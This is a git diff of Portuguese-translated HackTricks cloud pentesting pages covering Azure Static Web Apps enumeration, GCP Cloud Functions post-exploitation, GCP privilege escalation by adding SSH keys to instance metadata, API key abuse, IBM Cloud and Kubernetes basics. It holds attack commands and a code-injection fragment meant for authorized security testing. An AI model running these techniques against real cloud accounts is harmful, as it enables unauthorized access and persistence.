**Amazon EventBridge Scheduler** é um **agendador totalmente gerenciado e sem servidor projetado para criar, executar e gerenciar tarefas** em grande escala. Ele permite que você agende milhões de tarefas em mais de 270 serviços AWS e mais de 6.000 operações de API, tudo a partir de um serviço central. Com confiabilidade embutida e sem infraestrutura para gerenciar, o EventBridge Scheduler simplifica o agendamento, reduz os custos de manutenção e escala automaticamente para atender à demanda. Você pode configurar expressões cron ou de taxa para agendamentos recorrentes, definir invocações únicas e definir janelas de entrega flexíveis com opções de reintento, garantindo que as tarefas sejam entregues de forma confiável com base na disponibilidade dos alvos downstream.
Há um limite inicial de 1.000.000 de agendamentos por região por conta. Até mesmo a página oficial de cotas sugere: "É recomendável excluir agendamentos únicos uma vez que tenham sido concluídos."&#x20;
Há um limite inicial de 1.000.000 agendamentos por região por conta. Até mesmo a página oficial de cotas sugere: "É recomendável excluir agendamentos únicos uma vez que tenham sido concluídos."
### Tipos de Agendamentos
@@ -20,8 +18,8 @@ Tipos de Agendamentos no EventBridge Scheduler:
Dois Mecanismos para Lidar com Eventos Falhados:
1. **Política de Reexecução** – Define o número de tentativas de reexecução para um evento falhado e quanto tempo mantê-lo não processado antes de considerá-lo uma falha.
2. **Fila de Mensagens Mortas (DLQ)** – Uma fila padrão do Amazon SQS onde eventos falhados são entregues após as tentativas de reexecução serem esgotadas. DLQs ajudam na solução de problemas com seu agendamento ou seu alvo downstream.
1. **Política de Reintento** – Define o número de tentativas de reintento para um evento falhado e quanto tempo mantê-lo não processado antes de considerá-lo uma falha.
2. **Fila de Mensagens Mortas (DLQ)** – Uma fila padrão do Amazon SQS onde eventos falhados são entregues após as tentativas de reintento serem esgotadas. DLQs ajudam na solução de problemas com seu agendamento ou seu alvo downstream.
### Alvos

2
src/pentesting-cloud/azure-security/az-post-exploitation/README.md
View File

@@ -1 +1,3 @@
# Az - Pós Exploração
{{#include ../../../banners/hacktricks-training.md}}

9
src/pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md
View File

@@ -1,8 +1,8 @@
# Az - Function Apps Pós Exploração
# Az - Function Apps Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Funciton Apps Pós Exploração
## Funciton Apps Post Exploitaiton
Para mais informações sobre function apps, consulte:
@@ -10,8 +10,11 @@ Para mais informações sobre function apps, consulte:
../az-services/az-function-apps.md
{{#endref}}
> [!CAUTION] > **As técnicas de pós-exploração de Function Apps estão muito relacionadas às técnicas de escalonamento de privilégios**, então você pode encontrá-las todas lá:
> [!CAUTION]
> **As técnicas de pós-exploração de Function Apps estão muito relacionadas às técnicas de escalonamento de privilégios**, então você pode encontrá-las todas lá:
{{#ref}}
../az-privilege-escalation/az-functions-app-privesc.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

2
src/pentesting-cloud/azure-security/az-privilege-escalation/README.md
View File

@@ -1 +1,3 @@
# Az - Escalação de Privilégios
{{#include ../../../banners/hacktricks-training.md}}

45
src/pentesting-cloud/azure-security/az-services/az-static-web-apps.md
View File

@@ -1,4 +1,4 @@
# Az - Static Web Apps
# Az Static Web Apps
{{#include ../../../banners/hacktricks-training.md}}
@@ -17,9 +17,9 @@ Azure Static Web Apps é um serviço de nuvem para hospedar **aplicativos web es
### Autenticação Básica do Aplicativo Web
É possível **configurar uma senha** para acessar o Aplicativo Web. O console da web permite configurá-la para proteger apenas ambientes de staging ou tanto o staging quanto o de produção.
É possível **configurar uma senha** para acessar o Aplicativo Web. O console web permite configurá-la para proteger apenas ambientes de staging ou tanto o staging quanto o de produção.
É assim que, no momento da redação, um aplicativo web protegido por senha se parece:
É assim que, no momento da escrita, um aplicativo web protegido por senha se parece:
<figure><img src="../../../images/azure_static_password.png" alt=""><figcaption></figcaption></figure>
@@ -54,6 +54,11 @@ Alguns exemplos:
"route": "/admin",
"redirect": "/login",
"statusCode": 302
},
{
"route": "/google",
"redirect": "https://google.com",
"statusCode": 307
}
],
"navigationFallback": {
@@ -62,24 +67,27 @@ Alguns exemplos:
}
}
```
Note como é possível **proteger um caminho com um papel**, então, os usuários precisarão autenticar-se no aplicativo e receber esse papel para acessar o caminho. Também é possível **criar convites** concedendo papéis específicos a usuários específicos que fazem login via EntraID, Facebook, GitHub, Google, Twitter, o que pode ser útil para escalar privilégios dentro do aplicativo.
Note como é possível **proteger um caminho com um papel**, então, os usuários precisarão se autenticar no aplicativo e receber esse papel para acessar o caminho. Também é possível **criar convites** concedendo papéis específicos a usuários específicos que fazem login via EntraID, Facebook, GitHub, Google, Twitter, o que pode ser útil para escalar privilégios dentro do aplicativo.
> [!TIP]
> Note que é possível configurar o App para que **alterações no arquivo `staticwebapp.config.json`** não sejam aceitas. Nesse caso, pode não ser suficiente apenas alterar o arquivo do Github, mas também **mudar a configuração no App**.
> Note que é possível configurar o App para que **mudanças no arquivo `staticwebapp.config.json`** não sejam aceitas. Nesse caso, pode não ser suficiente apenas mudar o arquivo do Github, mas também **alterar a configuração no App**.
A URL de staging tem este formato: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` como: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
### Snippets
É possível armazenar snippets HTML dentro de um aplicativo web estático que serão carregados dentro do aplicativo. Isso pode ser usado para **injetar código malicioso** no aplicativo, como um **código JS para roubar credenciais**, um **keylogger**... Mais informações na seção de escalonamento de privilégios.
### Managed Identities
Azure Static Web Apps pode ser configurado para usar **managed identities**, no entanto, como mencionado em [this FAQ](https://learn.microsoft.com/en-gb/azure/static-web-apps/faq#does-static-web-apps-support-managed-identity-), elas são suportadas apenas para **extrair segredos do Azure Key Vault para fins de autenticação, não para acessar outros recursos do Azure**.
Azure Static Web Apps pode ser configurado para usar **managed identities**, no entanto, como mencionado nesta [FAQ](https://learn.microsoft.com/en-gb/azure/static-web-apps/faq#does-static-web-apps-support-managed-identity-), eles são suportados apenas para **extrair segredos do Azure Key Vault para fins de autenticação, não para acessar outros recursos do Azure**.
Para mais informações, você pode encontrar um guia do Azure sobre como usar um segredo de cofre em um aplicativo estático em https://learn.microsoft.com/en-us/azure/static-web-apps/key-vault-secrets.
## Enumeration
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
{{#tabs }}
{{#tab name="az cli" }}
```bash
# List Static Webapps
az staticwebapp list --output table
@@ -100,6 +108,10 @@ az staticwebapp secrets list --name <name>
# Get invited users
az staticwebapp users list --name <name>
# Get current snippets
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/trainingdemo/snippets?api-version=2022-03-01"
# Get database connections
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/databaseConnections?api-version=2021-03-01"
@@ -111,12 +123,10 @@ az rest --method POST \
# Check connected backends
az staticwebapp backends show --name <name> --resource-group <res-group>
```
{% endcode %}
{% endtab %}
{{#endtab }}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
{{#tab name="Az Powershell" }}
```bash
Get-Command -Module Az.Websites
# Retrieves details of a specific Static Web App in the specified resource group.
@@ -159,14 +169,13 @@ Get-AzStaticWebAppUser -ResourceGroupName <ResourceGroupName> -Name <Name> -Auth
Get-AzStaticWebAppUserProvidedFunctionApp -ResourceGroupName <ResourceGroupName> -Name <Name>
```
{% endcode %}
{% endtab %}
{% endtabs %}
{{#endtab }}
{{#endtabs }}
## Exemplos para gerar Web Apps
Você pode encontrar um bom exemplo para gerar um web app no seguinte link: [https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github](https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github)
Você pode encontrar um bom exemplo para gerar um aplicativo web no seguinte link: [https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github](https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github)
1. Faça um fork do repositório https://github.com/staticwebdev/react-basic/generate para sua conta do GitHub e nomeie-o como `my-first-static-web-app`
2. No portal do Azure, crie um Static Web App configurando o acesso ao Github e selecionando o novo repositório que você forkou anteriormente

4
src/pentesting-cloud/gcp-security/gcp-permissions-for-a-pentest.md
View File

@@ -1,5 +1,7 @@
# GCP - Permissões para um Pentest
{{#include ../../banners/hacktricks-training.md}}
Se você quiser pentestar um ambiente GCP, precisa solicitar permissões suficientes para **verificar todos ou a maioria dos serviços** utilizados no **GCP**. Idealmente, você deve pedir ao cliente para criar:
* **Criar** um **novo projeto**
@@ -129,4 +131,4 @@ roles/iam.securityReviewer
roles/iam.organizationRoleViewer
roles/bigquery.metadataViewer
```
{{#include ../../banners/hacktricks-training.md}}

2
src/pentesting-cloud/gcp-security/gcp-persistence/README.md
View File

@@ -1 +1,3 @@
# GCP - Persistência
{{#include ../../../banners/hacktricks-training.md}}

2
src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md
View File

@@ -1 +1,3 @@
# GCP - Pós Exploração
{{#include ../../../banners/hacktricks-training.md}}

6
src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md
View File

@@ -1,4 +1,4 @@
# GCP - Exploração Pós-Explotação de Cloud Functions
# GCP - Cloud Functions Pós Exploração
{{#include ../../../banners/hacktricks-training.md}}
@@ -98,7 +98,7 @@ return "/tmp/function.py doesn't exists"
# Get relevant function names
handler_fname = os.environ.get("FUNCTION_TARGET") # Cloud Function env variable indicating the name of the function to habdle requests
source_path = os.environ.get("FUNCTION_SOURCE", "./main.py") # Path to the source file of the Cloud Function (./main.py by default)
source_path = os.environ.get("FUNCTION_SOURCE", "./main.py") # Path to the source file of the Cloud Function (main.py by default)
realpath = os.path.realpath(source_path) # Get full path
# Get the modules representations
@@ -122,4 +122,4 @@ return "Injection completed!"
except Exception as e:
return str(e)
```
{{#include ../../../banners/hacktricks-training.md}}

16
src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/gcp-add-custom-ssh-metadata.md
View File

@@ -1,20 +1,18 @@
# GCP - Adicionar Metadados SSH Personalizados
## GCP - Adicionar Metadados SSH Personalizados
{{#include ../../../../banners/hacktricks-training.md}}
### Modificando os metadados <a href="#modifying-the-metadata" id="modifying-the-metadata"></a>
## Modificando os metadados <a href="#modifying-the-metadata" id="modifying-the-metadata"></a>
A modificação de metadados em uma instância pode levar a **riscos de segurança significativos se um atacante obtiver as permissões necessárias**.
#### **Incorporação de Chaves SSH em Metadados Personalizados**
### **Incorporação de Chaves SSH em Metadados Personalizados**
No GCP, **sistemas Linux** frequentemente executam scripts do [Python Linux Guest Environment for Google Compute Engine](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts). Um componente crítico disso é o [accounts daemon](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts), que é projetado para **verificar regularmente** o endpoint de metadados da instância em busca de **atualizações nas chaves públicas SSH autorizadas**.
No GCP, **sistemas Linux** frequentemente executam scripts do [Python Linux Guest Environment for Google Compute Engine](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts). Um componente crítico disso é o [daemon de contas](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts), que é projetado para **verificar regularmente** o endpoint de metadados da instância em busca de **atualizações nas chaves públicas SSH autorizadas**.
Portanto, se um atacante puder modificar metadados personalizados, ele poderá fazer com que o daemon encontre uma nova chave pública, que será processada e **integrada ao sistema local**. A chave será adicionada ao arquivo `~/.ssh/authorized_keys` de um **usuário existente ou potencialmente criando um novo usuário com privilégios `sudo`**, dependendo do formato da chave. E o atacante poderá comprometer o host.
Portanto, se um atacante puder modificar os metadados personalizados, ele poderá fazer com que o daemon encontre uma nova chave pública, que será processada e **integrada ao sistema local**. A chave será adicionada ao arquivo `~/.ssh/authorized_keys` de um **usuário existente ou potencialmente criando um novo usuário com privilégios `sudo`**, dependendo do formato da chave. E o atacante poderá comprometer o host.
#### **Adicionar chave SSH a um usuário privilegiado existente**
### **Adicionar chave SSH a usuário privilegiado existente**
1. **Examinar Chaves SSH Existentes na Instância:**
@@ -55,7 +53,7 @@ ssh -i ./key alice@localhost
sudo id
```
#### **Criar um novo usuário privilegiado e adicionar uma chave SSH**
### **Criar um novo usuário privilegiado e adicionar uma chave SSH**
Se nenhum usuário interessante for encontrado, é possível criar um novo que receberá privilégios `sudo`:
```bash
@@ -75,7 +73,7 @@ gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-k
# ssh to the new account
ssh -i ./key "$NEWUSER"@localhost
```
#### Chaves SSH em nível de projeto <a href="#sshing-around" id="sshing-around"></a>
### Chaves SSH em nível de projeto <a href="#sshing-around" id="sshing-around"></a>
É possível ampliar o alcance do acesso SSH a várias Máquinas Virtuais (VMs) em um ambiente de nuvem **aplicando chaves SSH em nível de projeto**. Essa abordagem permite o acesso SSH a qualquer instância dentro do projeto que não tenha bloqueado explicitamente as chaves SSH em nível de projeto. Aqui está um guia resumido:

10
src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-serviceusage-privesc.md
View File

@@ -4,9 +4,9 @@
## serviceusage
As permissões a seguir são úteis para criar e roubar chaves de API, não esqueça disso nos docs: _Uma chave de API é uma string simples criptografada que **identifica uma aplicação sem qualquer principal**. Elas são úteis para acessar **dados públicos anonimamente** e são usadas para **associar** solicitações de API ao seu projeto para cota e **cobrança**._
As permissões a seguir são úteis para criar e roubar chaves de API, não esqueça disso nos documentos: _Uma chave de API é uma string simples criptografada que **identifica uma aplicação sem qualquer principal**. Elas são úteis para acessar **dados públicos anonimamente**, e são usadas para **associar** solicitações de API ao seu projeto para cota e **faturamento**._
Portanto, com uma chave de API, você pode fazer com que a empresa pague pelo seu uso da API, mas você não conseguirá escalar privilégios.
Portanto, com uma chave de API você pode fazer com que a empresa pague pelo seu uso da API, mas você não conseguirá escalar privilégios.
Para aprender sobre outras permissões e maneiras de gerar chaves de API, consulte:
@@ -46,8 +46,12 @@ Obtenha o [**merch oficial do PEASS & HackTricks**](https://peass.creator-spring
**Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **me siga** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
**Compartilhe suas dicas de hacking enviando PRs para o** [**repositório do hacktricks no github**](https://github.com/carlospolop/hacktricks)\*\*\*\*
**Compartilhe seus truques de hacking enviando PRs para o** [**repositório do hacktricks**](https://github.com/carlospolop/hacktricks)\*\*\*\*
**.**
</details>
{{#include ../../../banners/hacktricks-training.md}}

2
src/pentesting-cloud/gcp-security/gcp-services/README.md
View File

@@ -1 +1,3 @@
# GCP - Serviços
{{#include ../../../banners/hacktricks-training.md}}

12
src/pentesting-cloud/ibm-cloud-pentesting/README.md
View File

@@ -1,12 +1,10 @@
# IBM Cloud Pentesting
## IBM Cloud Pentesting
{{#include ../../banners/hacktricks-training.md}}
### O que é IBM Cloud? (Por chatGPT)
## O que é IBM Cloud? (Por chatGPT)
IBM Cloud, uma plataforma de computação em nuvem da IBM, oferece uma variedade de serviços em nuvem, como infraestrutura como serviço (IaaS), plataforma como serviço (PaaS) e software como serviço (SaaS). Permite que os clientes implantem e gerenciem aplicativos, lidem com armazenamento e análise de dados e operem máquinas virtuais na nuvem.
IBM Cloud, uma plataforma de computação em nuvem da IBM, oferece uma variedade de serviços em nuvem, como infraestrutura como serviço (IaaS), plataforma como serviço (PaaS) e software como serviço (SaaS). Permite que os clientes implantem e gerenciem aplicativos, lidem com armazenamento e análise de dados, e operem máquinas virtuais na nuvem.
Quando comparado com Amazon Web Services (AWS), o IBM Cloud apresenta certas características e abordagens distintas:
@@ -15,15 +13,15 @@ Quando comparado com Amazon Web Services (AWS), o IBM Cloud apresenta certas car
3. **Inteligência Artificial e Aprendizado de Máquina (IA & AM)**: O IBM Cloud é particularmente conhecido por seus serviços extensivos e integrados em IA e AM. O AWS também oferece serviços de IA e AM, mas as soluções da IBM são consideradas mais abrangentes e profundamente integradas em sua plataforma de nuvem.
4. **Soluções Específicas para Indústrias**: O IBM Cloud é reconhecido por seu foco em indústrias específicas, como serviços financeiros, saúde e governo, oferecendo soluções sob medida. O AWS atende a uma ampla gama de indústrias, mas pode não ter a mesma profundidade em soluções específicas para indústrias como o IBM Cloud.
#### Informações Básicas
### Informações Básicas
Para algumas informações básicas sobre IAM e hierarquia, verifique:
Para algumas informações básicas sobre IAM e hierarquia, consulte:
{{#ref}}
ibm-basic-information.md
{{#endref}}
### SSRF
## SSRF
Saiba como acessar o endpoint de medata da IBM na página a seguir:

56
src/pentesting-cloud/kubernetes-security/kubernetes-basics.md
View File

@@ -1,12 +1,10 @@
# Kubernetes Basics
## Kubernetes Basics
{{#include ../../banners/hacktricks-training.md}}
**O autor original desta página é** [**Jorge**](https://www.linkedin.com/in/jorge-belmonte-a924b616b/) **(leia seu post original** [**aqui**](https://sickrov.github.io)**)**
## Arquitetura & Fundamentos
## Arquitetura & Noções Básicas
### O que o Kubernetes faz?
@@ -23,32 +21,32 @@
- **Node**: sistema operacional com pod ou pods.
- **Pod**: Envoltório em torno de um contêiner ou múltiplos contêineres. Um pod deve conter apenas uma aplicação (então, geralmente, um pod executa apenas 1 contêiner). O pod é a forma como o Kubernetes abstrai a tecnologia de contêiner em execução.
- **Service**: Cada pod tem 1 **endereço IP** interno da faixa interna do nó. No entanto, também pode ser exposto por meio de um serviço. O **serviço também tem um endereço IP** e seu objetivo é manter a comunicação entre os pods, então, se um falhar, o **novo substituto** (com um IP interno diferente) **será acessível** exposto no **mesmo IP do serviço**. Pode ser configurado como interno ou externo. O serviço também atua como um **balanceador de carga quando 2 pods estão conectados** ao mesmo serviço.\
- **Service**: Cada pod tem 1 **endereço IP interno** da faixa interna do node. No entanto, ele também pode ser exposto através de um serviço. O **serviço também tem um endereço IP** e seu objetivo é manter a comunicação entre os pods, então se um morrer, o **novo substituto** (com um IP interno diferente) **será acessível** exposto no **mesmo IP do serviço**. Pode ser configurado como interno ou externo. O serviço também atua como um **balanceador de carga quando 2 pods estão conectados** ao mesmo serviço.\
Quando um **serviço** é **criado**, você pode encontrar os endpoints de cada serviço executando `kubectl get endpoints`
- **Kubelet**: Agente principal do nó. O componente que estabelece a comunicação entre o nó e o kubectl, e só pode executar pods (através do servidor API). O kubelet não gerencia contêineres que não foram criados pelo Kubernetes.
- **Kube-proxy**: é o serviço responsável pelas comunicações (serviços) entre o apiserver e o nó. A base é um IPtables para nós. Usuários mais experientes podem instalar outros kube-proxies de outros fornecedores.
- **Contêiner Sidecar**: Contêineres sidecar são os contêineres que devem ser executados junto com o contêiner principal no pod. Este padrão sidecar estende e aprimora a funcionalidade dos contêineres atuais sem alterá-los. Hoje em dia, sabemos que usamos a tecnologia de contêiner para envolver todas as dependências para que a aplicação funcione em qualquer lugar. Um contêiner faz apenas uma coisa e faz isso muito bem.
- **Kubelet**: Agente principal do node. O componente que estabelece comunicação entre o node e o kubectl, e só pode executar pods (através do servidor API). O kubelet não gerencia contêineres que não foram criados pelo Kubernetes.
- **Kube-proxy**: é o serviço responsável pelas comunicações (serviços) entre o apiserver e o node. A base é um IPtables para nodes. Usuários mais experientes podem instalar outros kube-proxies de outros fornecedores.
- **Contêiner Sidecar**: Contêineres sidecar são os contêineres que devem ser executados junto com o contêiner principal no pod. Este padrão sidecar estende e melhora a funcionalidade dos contêineres atuais sem alterá-los. Hoje em dia, sabemos que usamos a tecnologia de contêiner para envolver todas as dependências para que a aplicação funcione em qualquer lugar. Um contêiner faz apenas uma coisa e faz isso muito bem.
- **Processo mestre:**
- **Api Server:** É a forma como os usuários e os pods se comunicam com o processo mestre. Apenas solicitações autenticadas devem ser permitidas.
- **Scheduler**: O agendamento refere-se a garantir que os Pods sejam correspondidos aos Nós para que o Kubelet possa executá-los. Ele tem inteligência suficiente para decidir qual nó tem mais recursos disponíveis e atribuir o novo pod a ele. Note que o agendador não inicia novos pods, ele apenas se comunica com o processo Kubelet em execução dentro do nó, que lançará o novo pod.
- **Kube Controller manager**: Ele verifica recursos como conjuntos de réplicas ou implantações para verificar se, por exemplo, o número correto de pods ou nós está em execução. Caso um pod esteja faltando, ele se comunicará com o agendador para iniciar um novo. Ele controla replicação, tokens e serviços de conta para a API.
- **etcd**: Armazenamento de dados, persistente, consistente e distribuído. É o banco de dados do Kubernetes e o armazenamento de chave-valor onde mantém o estado completo dos clusters (cada alteração é registrada aqui). Componentes como o Scheduler ou o Controller manager dependem desses dados para saber quais alterações ocorreram (recursos disponíveis dos nós, número de pods em execução...)
- **Scheduler**: O agendador refere-se a garantir que os Pods sejam correspondidos aos Nodes para que o Kubelet possa executá-los. Ele tem inteligência suficiente para decidir qual node tem mais recursos disponíveis e atribuir o novo pod a ele. Note que o agendador não inicia novos pods, ele apenas se comunica com o processo Kubelet em execução dentro do node, que lançará o novo pod.
- **Kube Controller manager**: Ele verifica recursos como conjuntos de réplicas ou implantações para verificar se, por exemplo, o número correto de pods ou nodes está em execução. Caso um pod esteja faltando, ele se comunicará com o agendador para iniciar um novo. Ele controla replicação, tokens e serviços de conta para a API.
- **etcd**: Armazenamento de dados, persistente, consistente e distribuído. É o banco de dados do Kubernetes e o armazenamento de chave-valor onde mantém o estado completo dos clusters (cada alteração é registrada aqui). Componentes como o Scheduler ou o Controller manager dependem desses dados para saber quais alterações ocorreram (recursos disponíveis dos nodes, número de pods em execução...)
- **Cloud controller manager**: É o controlador específico para controle de fluxo e aplicações, ou seja: se você tem clusters na AWS ou OpenStack.
Note que, como pode haver vários nós (executando vários pods), também pode haver vários processos mestres, cujo acesso ao servidor API é balanceado e seu etcd sincronizado.
Note que como pode haver vários nodes (executando vários pods), também pode haver vários processos mestres, cujo acesso ao servidor API é balanceado e seu etcd sincronizado.
**Volumes:**
Quando um pod cria dados que não devem ser perdidos quando o pod desaparecer, eles devem ser armazenados em um volume físico. **O Kubernetes permite anexar um volume a um pod para persistir os dados**. O volume pode estar na máquina local ou em um **armazenamento remoto**. Se você estiver executando pods em diferentes nós físicos, deve usar um armazenamento remoto para que todos os pods possam acessá-lo.
Quando um pod cria dados que não devem ser perdidos quando o pod desaparecer, eles devem ser armazenados em um volume físico. **O Kubernetes permite anexar um volume a um pod para persistir os dados**. O volume pode estar na máquina local ou em um **armazenamento remoto**. Se você estiver executando pods em diferentes nodes físicos, deve usar um armazenamento remoto para que todos os pods possam acessá-lo.
**Outras configurações:**
- **ConfigMap**: Você pode configurar **URLs** para acessar serviços. O pod obterá dados daqui para saber como se comunicar com o restante dos serviços (pods). Note que este não é o lugar recomendado para salvar credenciais!
- **Secret**: Este é o lugar para **armazenar dados secretos** como senhas, chaves de API... codificados em B64. O pod poderá acessar esses dados para usar as credenciais necessárias.
- **Deployments**: Este é o local onde os componentes a serem executados pelo Kubernetes são indicados. Um usuário geralmente não trabalhará diretamente com pods, os pods são abstraídos em **ReplicaSets** (número de pods iguais replicados), que são executados por meio de implantações. Note que as implantações são para aplicações **sem estado**. A configuração mínima para uma implantação é o nome e a imagem a ser executada.
- **Deployments**: Este é o local onde os componentes a serem executados pelo Kubernetes são indicados. Um usuário geralmente não trabalhará diretamente com pods, os pods são abstraídos em **ReplicaSets** (número de pods iguais replicados), que são executados via implantações. Note que as implantações são para aplicações **sem estado**. A configuração mínima para uma implantação é o nome e a imagem a ser executada.
- **StatefulSet**: Este componente é destinado especificamente a aplicações como **bancos de dados** que precisam **acessar o mesmo armazenamento**.
- **Ingress**: Esta é a configuração que é usada para **expor a aplicação publicamente com uma URL**. Note que isso também pode ser feito usando serviços externos, mas esta é a forma correta de expor a aplicação.
- Se você implementar um Ingress, precisará criar **Ingress Controllers**. O Ingress Controller é um **pod** que será o endpoint que receberá as solicitações e verificará e balanceará elas para os serviços. O ingress controller **enviará a solicitação com base nas regras de ingress configuradas**. Note que as regras de ingress podem apontar para diferentes caminhos ou até mesmo subdomínios para diferentes serviços internos do Kubernetes.
- Se você implementar um Ingress, precisará criar **Ingress Controllers**. O Ingress Controller é um **pod** que será o endpoint que receberá as solicitações e verificará e balanceará elas para os serviços. O ingress controller **enviará a solicitação com base nas regras de ingress configuradas**. Note que as regras de ingress podem apontar para diferentes caminhos ou até subdomínios para diferentes serviços internos do Kubernetes.
- Uma prática de segurança melhor seria usar um balanceador de carga em nuvem ou um servidor proxy como ponto de entrada para não ter nenhuma parte do cluster Kubernetes exposta.
- Quando uma solicitação que não corresponde a nenhuma regra de ingress é recebida, o ingress controller a direcionará para o "**Default backend**". Você pode `describe` o ingress controller para obter o endereço deste parâmetro.
- `minikube addons enable ingress`
@@ -62,15 +60,15 @@ Quando um pod cria dados que não devem ser perdidos quando o pod desaparecer, e
- Todos os certificados do cluster são assinados pela CA.
- O etcd tem seu próprio certificado.
- tipos:
- certificado apiserver.
- certificado kubelet.
- certificado scheduler.
- certificado do apiserver.
- certificado do kubelet.
- certificado do scheduler.
## Ações Básicas
### Minikube
**Minikube** pode ser usado para realizar alguns **testes rápidos** no Kubernetes sem precisar implantar um ambiente Kubernetes completo. Ele executará os **processos mestre e nó em uma máquina**. O Minikube usará o virtualbox para executar o nó. Veja [**aqui como instalá-lo**](https://minikube.sigs.k8s.io/docs/start/).
**Minikube** pode ser usado para realizar alguns **testes rápidos** no Kubernetes sem precisar implantar um ambiente Kubernetes completo. Ele executará os **processos mestre e node em uma máquina**. O Minikube usará o virtualbox para executar o node. Veja [**aqui como instalá-lo**](https://minikube.sigs.k8s.io/docs/start/).
```
$ minikube start
😄 minikube v1.19.0 on Ubuntu 20.04
@@ -105,9 +103,9 @@ $ minikube delete
🔥 Deleting "minikube" in virtualbox ...
💀 Removed all traces of the "minikube" cluster
```
### Noções Básicas do Kubectl
### Kubectl Basics
**`Kubectl`** é a ferramenta de linha de comando para clusters kubernetes. Ele se comunica com o servidor Api do processo mestre para realizar ações no kubernetes ou para solicitar dados.
**`Kubectl`** é a ferramenta de linha de comando para clusters kubernetes. Ela se comunica com o servidor Api do processo mestre para realizar ações no kubernetes ou para solicitar dados.
```bash
kubectl version #Get client and server version
kubectl get pod
@@ -295,13 +293,13 @@ key: database_url
**Exemplo de configuração de volume**
Você pode encontrar diferentes exemplos de arquivos de configuração de armazenamento yaml em [https://gitlab.com/nanuchi/youtube-tutorial-series/-/tree/master/kubernetes-volumes](https://gitlab.com/nanuchi/youtube-tutorial-series/-/tree/master/kubernetes-volumes).\
**Note que volumes não estão dentro de namespaces**
**Observe que os volumes não estão dentro de namespaces**
### Namespaces
Kubernetes suporta **múltiplos clusters virtuais** suportados pelo mesmo cluster físico. Esses clusters virtuais são chamados de **namespaces**. Eles são destinados ao uso em ambientes com muitos usuários espalhados por várias equipes ou projetos. Para clusters com poucos a dezenas de usuários, você não deve precisar criar ou pensar em namespaces. Você só deve começar a usar namespaces para ter um melhor controle e organização de cada parte da aplicação implantada no kubernetes.
Kubernetes suporta **múltiplos clusters virtuais** suportados pelo mesmo cluster físico. Esses clusters virtuais são chamados de **namespaces**. Eles são destinados ao uso em ambientes com muitos usuários espalhados por várias equipes ou projetos. Para clusters com poucos a dezenas de usuários, você não deve precisar criar ou pensar em namespaces. Você deve começar a usar namespaces para ter um melhor controle e organização de cada parte da aplicação implantada no kubernetes.
Namespaces fornecem um escopo para nomes. Nomes de recursos precisam ser únicos dentro de um namespace, mas não entre namespaces. Namespaces não podem ser aninhados dentro de outros e **cada** recurso **Kubernetes** pode estar **em** **um** **namespace** **apenas**.
Namespaces fornecem um escopo para nomes. Nomes de recursos precisam ser únicos dentro de um namespace, mas não entre namespaces. Namespaces não podem ser aninhados dentro de outros e **cada** **recurso** do Kubernetes pode estar **em** **um** **namespace** **apenas**.
Existem 4 namespaces por padrão se você estiver usando minikube:
```
@@ -321,7 +319,7 @@ kube-system Active 1d
kubectl create namespace my-namespace
```
> [!NOTE]
> Note que a maioria dos recursos do Kubernetes (por exemplo, pods, serviços, controladores de replicação e outros) estão em alguns namespaces. No entanto, outros recursos, como recursos de namespace e recursos de baixo nível, como nodes e persistentVolumes, não estão em um namespace. Para ver quais recursos do Kubernetes estão e não estão em um namespace:
> Note que a maioria dos recursos do Kubernetes (por exemplo, pods, serviços, controladores de replicação e outros) estão em alguns namespaces. No entanto, outros recursos, como recursos de namespace e recursos de baixo nível, como nós e persistenVolumes, não estão em um namespace. Para ver quais recursos do Kubernetes estão e não estão em um namespace:
>
> ```bash
> kubectl api-resources --namespaced=true #Em um namespace
@@ -352,7 +350,7 @@ Os Secrets podem ser coisas como:
- Informações ou comentários.
- Código de conexão com banco de dados, strings… .
Existem diferentes tipos de secrets no Kubernetes
Existem diferentes tipos de segredos no Kubernetes
| Tipo Integrado | Uso |
| ----------------------------------- | ----------------------------------------- |
@@ -368,11 +366,11 @@ Existem diferentes tipos de secrets no Kubernetes
> [!NOTE]
> **O tipo Opaque é o padrão, o típico par chave-valor definido pelos usuários.**
**Como os secrets funcionam:**
**Como os segredos funcionam:**
![](https://sickrov.github.io/media/Screenshot-164.jpg)
